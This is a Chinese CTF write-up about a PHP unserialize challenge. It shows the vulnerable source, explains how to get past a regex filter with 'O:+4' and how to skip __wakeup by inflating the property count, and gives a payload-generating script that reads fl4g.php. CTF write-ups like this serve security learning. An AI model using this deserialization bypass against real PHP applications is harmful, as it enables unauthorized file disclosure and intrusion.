0x00 简介
记录一下,重点是记录一下那篇正则文章。
0x01 题目代码
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file("index.php"); } ?>
0x02 理解
1.提示是秘密在fl4g.php
$Demo = new Demo('fl4g.php');
2.preg_match的绕过
这里的正则,我理解为匹配o:数字(1位数字或多位)或者c:数字(1位数字或多位),不区分大小写,也就是匹配serialize()函数将一个对象转换为字符串后的首部。
不清楚正则的可以去看看这片文章,写的是真的好。
3.魔术方法__wakeup的绕过
这个魔术方法的绕过很简单,就是将serialize函数转换的字符串中的代表对象有几个变量的数字加1或加n就可以绕过了。
0x03 代码
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } $Demo = new Demo('fl4g.php'); $data = serialize($Demo); $data = str_replace('O:4', 'O:+4', $data); $data = str_replace(':1:', ':2:', $data); echo (base64_encode($data)); ?>